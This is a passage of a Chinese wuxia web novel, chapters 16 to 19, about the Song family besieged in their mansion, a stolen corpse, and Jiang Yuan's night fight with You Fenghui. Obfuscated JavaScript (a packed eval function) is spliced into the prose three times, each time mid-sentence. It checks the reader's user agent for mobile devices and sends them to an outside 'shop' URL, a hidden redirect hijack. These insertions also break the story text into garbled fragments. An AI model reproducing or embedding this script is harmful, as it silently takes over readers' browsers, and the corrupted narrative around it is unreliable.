他扶着墙喘气,脸上泪早就被风吹干了,凉飕飕的,打了个喷嚏。抬头一看,白雾蒙蒙,天大地大,愣是没一处他能去的地方。鼻子一酸,差点又哭出来。 就在这时,袖子被人拽了一下。 他转头,一个乞丐正铛铛铛敲着铁碗。 那乞丐穿着破烂,却身材魁梧,手掌有一层厚茧。 宋瑛立刻想起来,近期姊陵城中的江湖人越来越多了,眼前这个,显然也不一般。他摸了摸腰间,空空如也。 “我、我出门急,忘记带了……” 乞丐没说话,继续敲碗。旁边又围上来几个,个个高大,宋瑛在其中,就跟一只孤立无援的小鸡似的。 宋瑛刚在宋释面前磨砺出来的半点硬气与傲骨,顿时全散了,慌道:“别、别扯我衣裳,我是真的没有了!你们要,我现在就回去拿!” 几人却不听他话,推推搡搡:“把你脖子上那块玉拿来!” “衣裳也脱了,我看这料子不错!” “他爷爷的,那群王八蛋把油水全吞了,还得老子自己动手!” 宋瑛心中一千一万个后悔,早知道就跑府中别院待着了:“你们不要过来……不要过来!” 那些人显然没多少耐心,围上来就要拳打脚踢,有的还捡了几根木棍。宋瑛在风月场上被掏空身子,跑不过躲不过,挨了一记,整个人直接趴地上,疼得嗷嗷叫。 他死死捂住胸口玉佩,看着那些渐渐逼近的凶神恶煞之徒,嘶吼着威胁话语,色厉内荏。 眼看着又一棍棒砸下,头顶树梢忽然一动,一道人影翩然落了下来。 16. 宋府 宋瑛只觉眼前一花,那人落地瞬间撤步沉腰,右臂抡圆,手中不知什么兵器在空中划出一道完整的弧,首尾相衔,声似鬼哭。 下一秒,围上来的七八个乞丐齐齐惨叫,如被狂风卷起的稻草般,四散横飞,砰砰砸在地上,人叠人摞成一堆,再没人能爬起来。 那人收势转身,视线落在宋瑛胸口的玉佩上。 “你是丞相府的人?” 这玉佩与宋释在觅县茶摊上出示的如出一辙,但外人对此知之甚少。宋瑛却没注意这份异常。此时的他已经完全呆住了,睁着大大的、说不清是恐惧还是震惊的眼睛,盯着眼前之人。 姜沅皱了皱眉,心道:“莫非这也是个傻的?” 她换了个说法:“你可知宋府在何处?” 宋瑛浑身一抖,猛地回过神,道:“在、在城南神霖街东华巷北。” 姜沅点点头,正要离开,衣角却被扯住。 宋瑛仰头道:“这位兄台,你、你叫什么?方才那一招有名字么?” 姜沅扯了下衣角:“没有。” “那就叫‘神龙摆尾’如何?那招实在是……”宋瑛畅想着,见她面色不耐,连忙起身拍了拍灰尘,取下脖子上的玉佩,不小心挂到头发,忍着泪一把薅了下来,“你要去找宋府,拿着这个,我与他们家颇有渊源。” “谢了。”姜沅收下玉佩,飞身掠上墙头。 宋瑛在下面道:“哎!等等!你还没告诉我你名字呢!大侠……” 回应他的,只有墙顶一丛颤颤的桂花枝。 宋瑛以拳锤掌,慢吞吞出了小巷,又回到那人来人往的大街。行至一家书坊前,被拿着风车跑的小孩撞到,下意识扶了一下,道:“哎,小心些。” “宋兄?” 一蓝衫公子迎了上来,瘦脸驼背,眼角笑出几道精明的褶子,正是宋瑛狐朋狗友之一。 “真是巧了,威风堂来了几只‘大将军’,我正要去瞧瞧,一起?” 威风堂是专门的斗鸡台,不学无术的富家公子们扎堆的地方,“大将军”是什么便不言而喻了。宋瑛往日最是喜爱这些,如今却道:“不了,我最近……心情不太好。” 蓝衫人“啊”了一声,关切道:“可是发生了何事?” 宋瑛颓丧地摇摇头。 蓝衫人安慰了几句,又道:“你可知我曾说过的那位‘高人’?” 宋瑛想了一下,道:“无所不知、无所不能的那位?不是传闻么,哪能做真?” “哎呦!”蓝衫人一拍大腿,扫视一眼四周,压低声音,“前阵子我找到了他,求让我父亲升职,你猜怎么着?还真有用!只要送上他满意的东西,上至国防御敌之计,下至小病小痛之灾,没有不灵验的!” 宋瑛道:“真有这么稀奇?!可、可我哪知他想要什么……” “那先生最近想寻的一样东西,听说在你们宋府出现过。” 蓝衫人低声耳语了几个字。 宋瑛听后蹙一下眉头,似有些疑惑,“啊……” “好了,我与王兄、徐兄约好了去看‘大将军’,你若想好,就拿着东西来找我吧,我自会帮你引荐!” 宋瑛还想再问些高人的事宜,蓝衫人却急急忙忙举步,边挥手边融入人潮中。 宋瑛愁眉苦脸,满怀心事,习惯性地想摸胸口玉佩,摸了个空,这才想起已经被自己送出去了。 书坊前的这一幕,落到街对面茶楼二楼雅间,一位捏着白瓷茶杯的青衣人眼中。 他手指修长,是与茶杯截然不同的病态的白,墨发只系不冠,松松垮垮垂落胸口,整个人散发着一股慵懒与疏离之感。 眼角一颗小痣,却不添艳丽锋锐,反而有几分孤清厌世之色。正所谓:皎皎冷月之态,恹恹西子之心。看着便知是个不大近人情的人。 旁边有一属下禀告:“……宋丞相本难以脱身,谁知前几日,递上一折子,弹劾剑南侯。说侯爷将‘蚀阴玉’绑到活人身上,再把人赶进猛兽林。恶兽闻到玉的气味便发狂追逐,跑不过的,当场被撕成碎片。侯爷就在高台上看着,以此为乐。前前后后,已有十几条人命。” “其中一人逃了出来,向宋丞相求救。这事比宋丞相自己那桩案子更骇人,圣上看了折子,当场摔了茶盏,命大理寺即刻彻查……” 青衣公子哼笑一声,道:“剑南侯还嘲讽太子不过只知几首酸诗的苦书生,玩弄风月的‘李后主’,如今他自己不也做出了此等荒唐事?征战沙场的长戟封刀蒙尘,却按捺不住血性,小心割破了自己的手。” “主子……”属下恳求地看了他一眼,示意隔墙有耳。 “不用时刻提醒我。”青衣公子眼底郁色更重,“去查查那些人,掘地三尺,翻出点脏东西来。亡徒死囚也罢,欠债逃奴也好,只要身上不干净,就不是良民。别让这把火烧到不该烧的地方。” “宋丞相长子闹的那命案本就理亏,如今急着脱身,随便捡了个半死不活的人来攀咬侯爷,也很正常。”两边都不是省油的灯,圣上若是查下去,保不齐查出什么党争的烂账。 “是。”属下恭敬道。 房门被敲响,方才同宋瑛搭话的蓝衫人,进来行了个礼:“温公子,事已办妥。” 青衣公子道:“你确定有用?” 蓝衫嘿嘿笑:“我跟宋瑛同窗数载,最是知道他的尿性,不过一个胸无大志的蠢货脓包,不信他不上钩!” 温公子淡淡道:“行了,去领赏罢。” 蓝衫人搓搓手:“那小的的父亲……” “本公子说到做到。” 蓝衫大喜,连声道谢,阔步而出。 温公子眼底闪过一丝厌恶。属下继续道:“主子,近日城内草莽流寇既多,那头有些按捺不住,您看是否封门?” “嗯。”温公子冷声道,“丞相府那位,继续盯着,吹吹耳旁风,就算找不到东西,也……咳咳、咳……” 还未说完,猛地捂嘴弓身,咳得上气不接下气,肩胛骨高高耸起,犹如一只折了翅的野鹤,跌落在乱石草丛中。 “主子!”属下大惊,连忙唤人端上药。 温公子喝完药,脸上浮起一层病态的红润,衬得唇色愈发惨白。咳嗽是暂时止住了,只有他清楚地知道,光鲜平静的外表下,藏着早已腐坏的沉疴内里,药石无医,宛如一具穿金戴银的行尸走肉,一切毫无意义。 他目光落向早已空荡荡的书坊门口,似乎在凝视着什么人。沾染血丝的嘴角,喃喃道: “活成这样,还有什么意思呢?阿姜。” …… 宋释冷静之后,眼见暮色将至,又担忧起那个叛逆的弟弟来。犹豫一会儿,刚喊齐宁进来,却听他道宋瑛回来了。 宋释急忙穿过几条弯曲走廊,板着一张脸,来到府堂前,看到宋瑛神色恍惚地坐在庭院石凳上,风吹落几星桂花,打在他脸上也不躲。 宋瑛见了他,低声道:“哥……” 宋释道:“回来了,就去吃饭吧。” 宋瑛应了一声,正要下去,宋释又道:“你的玉佩呢?” “玉佩……”宋瑛顿了一下,“落、落在大街上了,我去找……” “算了,丢了就丢了,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音未落,宋瑛跌跌撞撞从后院冲出来,脸上还挂着饭粒,手里攥着一张黄纸,抖得厉害:“哥!出什么事了哥!我刚刚吃饭,突然一支哪冒出的箭钉到桌上,还、还挂着这个——” 上书:“三日之内,全府死尽。” 宋氏兄弟已然慌了神,被堵在府中,忍受穿墙而来、铺天盖地的怒骂。 有闹事者干脆在府门口摆起灵堂,烧纸钱,哭丧喊冤。纸灰漫天飘飞,与宋母丧期未尽的纸钱混作一团,分不清是谁在哭谁。 太子在齐宁护送下从后门挤出,却发现整条街已被围得水泄不通。 人群像一锅煮沸的粥,推搡、怒吼、挥舞着棍棒。太子被挤得东倒西歪,几次险些被误伤,好不容易杀出人墙,踉跄到河边,刚喘口气,不知被谁一肘撞在腰上,脚下一滑,整个人往河里栽去。 一只手猛地拽住他手腕,生生把他拉了回来。 太子回头,看到一张明媚飒然、英气勃发的脸。 “你没事吧?” 太子气息还没喘匀:“多、多谢姑娘。” 辛燕儿上下打量他一眼:“你这身板,还是不要往人群里钻。万一磕着碰着,怕是得躺半个月。” 她并无恶意,只顺口提醒这高大却文弱的书生一句。可从小锦衣玉食、被众人奉承惯了的太子,听起来却有些脸热,闷声道:“姑娘说的是。” 辛燕儿见他站着不动,弯腰捡起地上那把扇子,随手递过去,“喏,别忘了。” 太子接过,展开扇面,拇指抹去一点污泥。 再抬头时,那女子已经穿过人群,不知踪影。 17. 抢尸 “大公子,又、又死一个!” 宋释脸色苍白,看着被抬上来的浑身是血的护院,眉间疲态尽显:“府上武师还有多少?” “除去死了三个送信的,不到十五……”母丧期间,不事武备。有人打定主意要隔绝宋府,别说人,连只苍蝇都飞不出去,除了死守毫无办法,“县令还在紧急募集人手,太子殿下暗中调来了一支精兵护卫队,一共十三人。” 宋释沉重地点点头,旁边的齐宁脸色忽而一变,抬手推开他:“公子小心!” 原来站着的地方,被钉入一支淬火的箭矢,箭尾嗡嗡震颤。 紧接着,更多流火箭,从府墙外飞来,拖着火光划过天空,密如流星雨。 “保护主子!”护卫武师抽剑拔刀,劈开飞箭,小厮慌里慌张去打水,运气差的,半路被飞箭射中,眨眼烧成火球。 目睹烧尸的宋瑛捂住嘴干呕,慌不择路跑回后院,躲进桌子底下,听着外面的惨叫,闻着烧焦的气味,手脚都在发抖。 “不要杀我、也不要杀我哥……呜呜呜,爹,娘……” “二少爷?” 美人讶异地看着他。 宋瑛拉着她的手往桌底下扯:“快!躲起来,躲起来就没事了!” 美人顺从地进来了,与他抱作一处,“二少爷,冷静,冷静啊,莺莺在这里。” 宋瑛瑟缩在她怀里,听她道:“二少爷,外面那群人是来干什么的,官府不管吗?” “几百个江湖刁民,目无王法,怕是县令府都沦陷了!他拿什么管!” 莺莺害怕道:“莫不是来逼财夺宝的罢?我可听说,大少爷前阵子得了一个宝贝,似是什么绝世秘籍,宁死也不愿交出呢。” “不是,他们是因为我哥……”宋瑛一顿,“你说什么?宝贝?我们府上?” 莺莺道:“我前几天起夜,见大公子在灵堂拿着一卷羊皮纸,谁也不让近呢。” 宋瑛搭在她肩上的手,微微动了动。 宋府外,人挤人,如鲤鱼夺食般涌向府门。 “嘭——” “嘭——” 撞门声一下比一下重,府内人心惶惶。一支流火箭从墙外飞来,正正刺入顶门人的后心。其余顶门人大骇,手下力道一卸,府门从外面被人潮轰然破开。 “把姓宋的狗官交出来!” “为我大哥偿命!” 爬起身来大声嚷嚷的,赫然是茶摊上那个壮汉的兄弟,瘦子和麻脸。他们换了潦草破烂的衣裳,穿着不知哪个小门小派的弟子服,趾高气昂,高声控诉。 瘦子提着刀,看见宋释,顿时如饿狼见了绵羊,噔噔噔跑过去,凶恶道:“喂!你!要么给我大哥赔命,要么,就把东西交出来!” 宋释的袖子被大力扯住,刀光在眼前一晃一晃,头晕目眩。四周还有更多面色不善的人走了过来,他努力保持冷静道:“你先放开!” 瘦子充耳不闻,刀往他脖子上一贴,“你听见没——” 话语一滞,不知哪里冒出来的一支更为精致的箭矢,刺穿他的脑门。 麻脸嘶吼:“二哥!”下一刻,后背也中了一箭,扑通倒地。 府墙之上,不知何时落满了人。身着黛蓝劲装,持弯弓,悬长剑,目如玄蚺,影若蝙蝠。 “凌波山庄在此,何人敢造次?” 乌合之众到底比不过正儿八经训练出来的山庄子弟,没一会儿,形势彻底逆转。方才还叫嚣着往里冲的人群,此刻被压着打,节节后退。洒在宋府青砖上的血,方才还是护院家仆的,这会儿全换成了那群闹事者的。 “宋公子。”程书青将滴着血的剑递给程骇,向宋释抱拳。 宋释又感激又愧疚,深深作了一揖:“这次……又麻烦你们了。要不是你们,宋家怕是……难逃此劫。对凌波山庄,宋氏一辈子都还不清。” 程骇在旁边道:“宋公子万莫如此。昔日宋大人施以援手,凌波未偿万一。今日之助,不过投桃报李。日后两家祸福共之,便是兄弟。一家人,不必言此。” 宋释感动至极,连忙招呼小厮安顿贵客、打扫庭院。忽闻一阵慌乱脚步声,宋瑛跌跌撞撞从侧院冲出来,大叫道: “哥!不好了!娘、娘的尸身不见了!” …… “放开。” 姜沅面无表情地盯着下方的人。 “我不!除非你告诉我她在哪里!”少年抱住她的小腿,一脸无赖又执拗。 姜沅真后悔自己走了这条路,后悔认出盛湖山庄的小公子顺便从人贩子手中救下。大抵她今日有些流年不利,救过的两人,一个扯袖子不让她走,一个抱腿不让她动。 她冷冷道:“我不认识什么婉儿。” 辛小公子叫道:“你身上有她的味道!我闻出来了!你是我堂姐的朋友是不是?婉儿……他们叫她花想容,只要你告诉我她在哪,我就放你离开!” “没有味道,你闻错了,我也没听过什么花想容。”姜沅咬死不认。 后方传来他人谈话声,两人一瞥,脸色齐变。辛小公子爬起身就要往巷子里躲,姜沅眼疾手快,一掌将他拍晕,隐入黑暗。 “搜遍了大半个姊陵,也没见着辛小公子在哪儿,会不会是猜错了?”薛朗唉声叹气。 薛炳之摇摇头,道:“近日城中有古怪。按照辛小公子的性子,应当不会往人多的神霖街钻,可如今,只有先前往看看了。” 两人在姜沅方才站立的地方停下。 “咦,这儿刚刚是不是有人?”薛朗挠头道。 薛炳之微微蹙眉,耳尖一动,猛地回头:“谁?!” 一道背影昙花一现,没入拐角。 薛炳之与薛朗对视一眼:“追!” 翻过一个又一个屋檐,始终与前面那人保持不远不近的距离。薛炳之心中正疑惑,脚下突然踩到一个东西,连忙稳住身形,低头一看,心中骤跳。 一条人腿。 连腿带人从草丛中扯出,薛炳之愕然:“辛小公子?” 薛朗道:“那人……是故意引我们来的?” “先救人。”薛炳之查探辛小公子脉搏,“联系盛湖山庄。” 两人背着昏迷不醒的辛小公子离开。藏在暗处的姜沅,拂开草叶走了出来。彼时天色昏暗,她又费了一番功夫回神霖街。 宋府里厮杀声四起,她攀上墙头,以为宋氏凶多吉少,却不料见到几十个凌波弟子,将闯入者斩于剑下。 姜沅的目光,冷冷地从程书青脸上掠过。 墙头另一方传来细微风声,一个黑衣人从府中一跃而出,似乎背负着什么人状长条。他扫视四周,没注意到暗处的姜沅,随即运起轻功,往府外屋檐飞跃。身法飘逸之极,如负无物,显然是个不可小觑的武林高手。 姜沅心中一肃,悄悄跟了上去。 那人七拐八绕,专挑一些偏僻小路,赶了七八里脚步依然不见放慢,姜沅没背重物都有些喘气了。须臾,在一处密林前,他停下脚步,沉声道:“谁?” 姜沅屏息闪躲。 倘若正面对上,她还不一定能全身而退。 “是要我请出来么?”那人声音浑厚,凝着一层薄冰。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274954|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜沅靠在树干后,听着自己的心跳声,右手搭上鞭柄。 四周忽然响起一阵窸窸窣窣声。月光下,二十几名同样穿着黑衣的人缓缓现身,不断逼近,手中长剑弯刀闪着森森寒光。 那人道:“呵,还以为是什么。”语气轻狂,丝毫不放在眼里。 黑衣人喝道:“把人交出来,留你一具全尸!” 那人道:“这话,我便也还给你们!” 黑暗中看不清画面,姜沅只听脚步有序、刀剑碰撞声,一队人马排兵布阵朝那人攻去。随后,重物撞地声接二连三,十几人哀嚎不断。 “破穹连珠杀?!”黑衣人之一惊呼,“你是……游少侠?” 游凤回也不掩饰,“巧了,还真是意外呢。”却听不出丝毫意外之感。 “游师侄,这是何意?”一年长者道。 游凤回笑道:“不过听闻此地有权宦触犯我武林公道,来找个乐子罢了。” 他平日行事素无章法,干什么都不意外,但周围的黑衣人却没一个信他今日之言。南派武林的公道,轮得到他们?当南派三庄是死了吗! “公道,自要以公道的方式讨回来。游师侄盗人母尸,要是传出去,可算得上邪门歪道了。” 游凤回道:“啊,我还以为你们也是来偷的呢。” “你!” 游凤回道:“我自会将人还回去,不用操心,诸位还请回吧。” 黑衣人僵持半晌,领头咬牙道:“那还望游师侄莫要耽搁。”缓缓收剑入鞘,带着众人离去。 空气又恢复安静,游凤回却依旧待在原地,从腰间拔出一把匕首,点亮火折,将背上人放下,掀开寿衣的袖子、裤脚。 他背对着姜沅,看不见面容,动作却透露着古怪。最后,掀起衣裳下摆,看到尸体腰部时,动作一顿,喃喃道:“原来如此。” 将尸体重新裹好,吹灭火折子,游凤回突然道:“你还要看到什么时候?” 姜沅脊背一寒,旋身一躲,匕首破空钉进她身后树干,刀身尽数没入。 她顺势跃出,内力自丹田上涌,凌厉一掌推出,直取对方胸口。掌风即将触及衣襟的刹那,那人身子一矮,堪堪擦着掌缘滑过,顺势前欺,右臂如蛇探出,五指成爪,扣向她手腕。 感受到手中意外纤细的触感,游凤回讶异道:“嗯?还是个小娘子。” 姜沅骤然接触到这似鹰隼般陌生难缠的掌法,脱口道:“你不是南派人!” 那人哈哈一笑:“南派?南派可没有我这么厉害的。” 眼下黑灯瞎火,两人纯凭听声辨位。姜沅怕伤害到尸体,未取出武器。本以为对方经过黑衣人一战,力有所不逮,谁料他内力雄厚深不可测,听音技巧更是独绝,总能轻巧避开自己的攻势,猫逗老鼠般还以一二。 这听音的本事,倒让她想起北派那位盲射的青年。 等等,他也姓游—— 思索间,腰间被人用力摸了一把,姜沅浑身一僵,鸡皮疙瘩爆起。 轻佻的声音在耳边响起:“小娘子,趁我心情尚可,你现在收手还来得及。” 姜沅冷脸不语。对方身材高出她一头有余,她便出其不意扫他下盘,趁其闪避之时甩出数拳。 那人道:“聪明。但很可惜,对我没用。” 衣袂翻飞不断,游凤回轻松抬臂架挡,卡住近在咫尺的拳头。 姜沅不收手,五指猛然张开,化拳成掌—— “啪”! 一声脆响,在黑暗中炸开。 游凤回被打得偏过头去,嘴角笑容一滞,愣在原地。 18. 对峙 黑暗寂静了一瞬。 “你敢打我?” 长这么大,还是第一次被人扇巴掌,尤其还是初见的功夫不如他的女人。游凤回指尖触碰到火热的脸颊,不敢置信。 “打都打了,还用你说么?” 游凤回浑身气压骤然低沉,抛开背上尸身,握住腰间刀柄。 “锵——” 青云破穹刀出鞘。月光落在刀身上,竟泛起一层幽幽青光,像有什么东西在刀刃上流动。 姜沅听见那声异样的刀吟,自知是不亚于沥心剑的上等兵器,手心一紧,反手抽出化龙鞭。 游凤回嘴角扯了一下,笑意没到眼底:“胆子倒大的很。我给过你机会,可别怪我欺负女人了!” 两人足尖同时点地,默契腾身而起,从地面战至半空。刀光鞭影交错,将冷冷月光切割成碎片。 被激怒后的游凤回,使出自己最为骄傲的龙吟刀法,毫不留情地往她身上招呼。百十招下,草木纷飞,乌云吞月,寒鸦惊啼。 姜沅愈发吃力,对面总能精准预判到她的招式,再回以更迅猛的一击,全然陌生的武功,大开大合,粗中有细。她不甘认输,咽下喉中腥味,咬牙接住千钧重的一刀。 两人缠斗之时,不远处的一间小木屋,亮起一盏灯光。 一路寻友未遇的薛兰庭,投宿在郊外猎户家,失落地打算明天就叫上阿渠回去。晚上起夜,迷迷糊糊推开门,无意一抬头,见到月亮上两个黑影在激烈打架。 月亮上…… 薛兰庭打了个颤,甩甩头,揉了揉眼—— 还真有两个人在天上打架! 再看那其中一人的武器招式……倘若不是他思友心切,梦游出幻觉了,那便只有一个可能。 眼见持鞭人落於下风,薛兰庭连忙拿来猎户放置在窗边的弹弓,从旁边挂着的鹿皮袋里取出三颗钢珠。 闭眼,拉皮筋,绷成紧紧一线。脑海中,不由浮现出北派那人蒙眼射白鸟的场景。 听音辨差,析质预判。 咻—— 姜沅被那人逼得步步后退,身上手上已中了数刀,劲力渐乏,一口血喷涌而出。不待她反应,下一刀接踵而至,挟着磅礴骇人的内力,狠狠刺向她喉咙动脉。 姜沅暗道不好,却已为时晚矣。 刀尖触及肌肤的刹那,又猛然一颤,紧急转变方向。 只听“砰、砰”两声,像什么东西被弯刀击落。 姜沅不及细想,拼尽最后一丝力气扭身躲避,连退数步,勉强站稳。 游凤回维持着打落的姿势,脸色沉沉,左手缓缓探向右肩侧,五指并爪戳刺,生生从血肉里抠出一物。 一颗沾血的钢珠。 不知何时,一人站在他身后,道:“何方小贼!打扰本大侠睡觉,看我不揍死你!” 听到声音的姜沅愕然,“薛……” “还不快走!”薛兰庭听她声音虚弱,似受了伤,便知眼前人并不简单,“本大侠来亲自会会这小毛贼。” 又转向游凤回,扛着剑,吊儿郎当挑衅道:“刚好这几天没人陪爷爷活动筋骨,要怪,就怪自己倒霉吧!” 游凤回冷笑一声:“不自量力。” 两人很快战至一处,眨眼间又是无数道刀光剑影,乌云彻底遮住了月亮。姜沅摸黑找到宋夫人的尸身,负上背,朝兵刃交接的方向看了一眼,转身逃去。 不知跑了多久,姜沅两股战战,汗流浃背,尸身差点滑落,脑子一阵阵发黑。 “姜少侠?” 黄光淡入,一人挑着灯笼,惊讶地看着伤痕累累的姜沅。 姜沅喘着粗气道:“快!快去救薛兰庭!” 薛炳之一愣:“兰庭师弟?他在哪儿,出什么事了?” “北派的人缠上了他。”姜沅不想解释太多,“他助我脱身,还留在那里,你现在喊人去还来得及。” 薛炳之肃然,喊上邀月弟子,朝她指示的方向追去。 姜沅绕过城中守卫,经过九曲小巷来到一扇不起眼的门前,凭借最后的力气,敲响了门。 “谁啊!大半夜不睡觉,不耐烦是不是!”里头炸开一声暴喝,紧接着是踢踢踏踏的脚步声,院门栓被猛地拉开。 姜郃顶着一头乱蓬蓬的头发冲出来,手里攥着剑,势要给哪个不长眼的颜色瞧瞧。门一开,靠着门板的两个黑影直接扑了过来。 “鬼啊——” 姜郃吓得蹬腿往后一跳,拔剑出鞘,拿剑尖戳了戳地上那滩死鱼一样的人:“喂!干什么的!给我起——姜、姜沅师兄?!” 墨浸的城池,亮起一点半点的星光。 …… “啾、啾啾。” 宋瑛循着叫声,拐过回廊,来到一处静谧无人的后院。 院墙顶端露出半颗头颅,见他来了,又伸出些许,“宋兄!宋兄!” “你来做甚?”宋瑛对这蓝衫朋友道。 对方忧心忡忡:“当然是看你考虑得如何了。那位高人就待这几天了,你好好想想——宋相大人还在回来的路上呢,京里的烂摊子估计还没摆平,眼下你们倚仗这些江湖草莽势力,终非正道啊!” 宋瑛蔫头耷脑:“我……我自然是希望帮上家人的忙的,可、可我找不到那个宝贝……” 蓝衫道:“哎哟!你哥总知道吧!你说同一个娘,他们有什么要紧事,都是告诉你哥,关键时候,他又扭扭捏捏妇人之仁,还不如瑛兄你能堪大任呢!” 宋瑛自不会觉得自己比兄长厉害,只是这前半句的确刺到了他心里。连母亲回家省亲,也是带哥哥去的,至于什么绝世秘籍,他听到没听过。 蓝衫见他失魂落魄,道:“你要是心里头有什么难处,就可以去找高人求助,无论什么事!” 连找回母亲尸体,也可以么? “那好吧……我尽量试试。” 蓝衫又安慰几句,了解一番府上状况,这才佯作不舍地攀下木梯子。 隔着一堵墙,他低声啐了口:“呸!果然是脓包废物,这都办不好,活该一辈子缩在宋释脚底下!” 离开后院的宋瑛,见到下人井井有序打理着庭院,送水的送水,洒扫的洒扫。兄长与几名江湖人共坐长谈,正色敛容,从容却疲惫。越发觉得自己跟个游魂似的,多余,且无人在意。 宋释的确没注意到这个弟弟,他为亡母尸体失窃一事忧神,派出去的几波武师毫无消息。 身旁的程书青、程骇亦是面色凝重,程书青道:“城门已封,我已传信与父亲增派人手,搜出来只是时间问题。只是他们动机可疑,若不是出于报复,便是有其他可图了。” 宋释想起在棺中搜到的一张信条,沉默不语。 “公子!府外有人求见!” 这几天来碰瓷的、找茬的江湖人不知凡几,宋释一开始以礼相待、好言劝之,对面却愈发猖獗,于是他干脆闭门谢客。这次也道:“打发了。” 侍从献上一物:“他……拿出了这个。” 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274955|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释一愣,还没说什么,旁边不知从哪冒出来的弟弟立刻蹦了起来:“快快请进来!” 宋瑛紧紧捏着那枚玉佩,原地来来回回急促走了几步,理理衣袖。等侍从领来几人,他眼睛一亮,挥手道:“好巧啊!大侠!” 来者见到他,似乎花了一点时间想起,“你是那天那个……” 宋瑛咧嘴道:“哥!这就是救了我的那位大侠,功夫可厉害了!” 哪知宋释一点也不吃惊,只是有些意外,拱手道:“姜少侠。” 宋瑛愣了:“你们认识?” “姜少侠侠肝义胆,曾于我归来途中助一臂之力。” 听到这话,宋瑛不知为何有些不爽,但又随即觉得:既然是姜少侠这般义薄云天的侠士,合该被人惦记,即使是他哥这样的君子。 姜沅也不废话,向身后的姜郃看了眼。姜郃放下背后的人,取下蒙脸白布。 “娘?!”宋氏兄弟俱惊。 姜沅道:“昨日我路过神霖街,恰逢见一黑衣飞贼,形迹可疑,便悄悄跟了上去。对方发现后想灭口,我与之交手上千个来回,幸得故友相救,才勉强将令慈的……带了回来。” 三言两语解释前因后果,程书青忽然道:“哦?那还真是巧了呢。” 此话一出,庭院静默半晌。 刚来便撞见灵活狡猾的贼子作案,一夜之间不伤一兵一卒,看似轻轻松松地将几百号人苦寻不到的尸体归还,可不巧了么,简直像自导自演。 宋瑛没听出言外意,哈哈道:“说明姜大侠与我们宋府有缘分啊!” 姜沅扫了程书青一眼,平静道:“自然,也得看是谁办事,看是有心还是无心。昨晚,我不过无心撞逃雀。到底比不了上个月,程少侠有心架网罗。” 她点的正是蚀阴玉一事。程书青寒声道:“程某不明白你什么意思。” “那恕姜某也不明白你的意思。” 两人针锋相对,宋释命人送回母亲尸身后,连忙出来打圆场:“二位皆是我宋府贵客,于我宋氏有莫大的恩情。齐宁,快好好招待诸位大侠!” 宋瑛以前嫌弃江湖人不过胆大心莽的匹夫,不屑与之结交往来,能避则避,这次却哈巴狗似的跟在姜沅身后,眼巴巴跟她去了客厅,甚至亲自倒茶送水。宋释瞥见后倒也没多说什么,只以为弟弟为对方还尸的恩情感动。 “粗茶,怕是怠慢了大侠。”宋瑛递过去道。 丞相祖宅的茶叶若是粗茶,那世上就没有好茶了。姜沅也不客气,随手端来一饮,跟程书青无声对峙着。 齐宁为程书青斟茶后,肩膀一抖,莫名觉得这客厅冷得瘆人。 秋日的风,又凉了些罢? 这缕秋风摇得卷帘叮咚作响,借仆从扫帚一扫,带上一小片枯叶飘飘荡荡,卷进更阔大的风里,吹过官道,掠过树林,一头撞上尖峭尖峭的断崖,被焦灼沉重的脚步踩进地里。 “兰庭师兄!” “兰庭师弟!” “血……血到这里就断了!”薛朗嘶声叫道,蹲身抓一把黑红黑红的泥土。 薛炳之惶急赶到断崖边,旁边松木摧折,显然不久前经历了一场恶战。 崖道最边缘处有五指深深的印痕,仿佛曾有一人身体悬空,绝望地用手死死抠进泥土,抠得血肉模糊,最终只能不甘地掉落下去,摔得粉身碎骨。 薛朗喃喃道:“从这里掉下去,还有生还的可能吗?” 低头望向被云雾掩映的崖底,薛炳之心中遽沉。 19. 峰回 得知友人暂脱险境,太子从宋府出来,再次路过静静流淌的怀明河时,不由得放慢了脚步。 夹岸深绿凋零,金桂飘香,落入水中的桂花打着旋儿,迟迟不愿随流水淌去。街上的行人不再像上回那般拥堵吵闹,只疏疏落落几个。偶尔有好事者低声议论着相府与江湖的秘辛,余音飘在风里,很快散了。 怀明河上有一弯石桥,百年风霜,青苔斑驳,在行人步子底下安谧沉睡着。太子心念一动,将折扇展开,举到眼前。 折扇上刻画桃红柳绿,小桥流水。春天的桥重叠了秋日的桥,柳树的枝条恰好遮住岸边的桂树,画面竟莫名相融。太子微微一笑,将折扇缓缓放下,却见扇面桥头那群新燕对准的地方,凭空多了一个女子的身影。 太子霎时顿住了呼吸。 辛燕儿本接收到邀月山庄的消息,得知堂弟已寻到,便约好了相见地点,不再管狡兔三窟的花想容。反正她在对方脸上划了一刀,普通药材无医,短时间内,那自恃容貌的淫贼估计不敢再兴风作浪。 走到大街上,她忽然听到有人在喊:“辛南,辛南?” 莫非是她那弟弟又溜走了? “辛南,辛南——” 迷迷糊糊的声音跟梦境似的,辛燕儿思忖一息,果断跟上。从一条街穿过一条街,又上一座桂香四溢的石头桥,声音从另一个方向传出来,愈发清晰。 “辛南,辛小公子——” 正要继续追,桥下方站着一个长身玉立的青年,微笑地看着她。 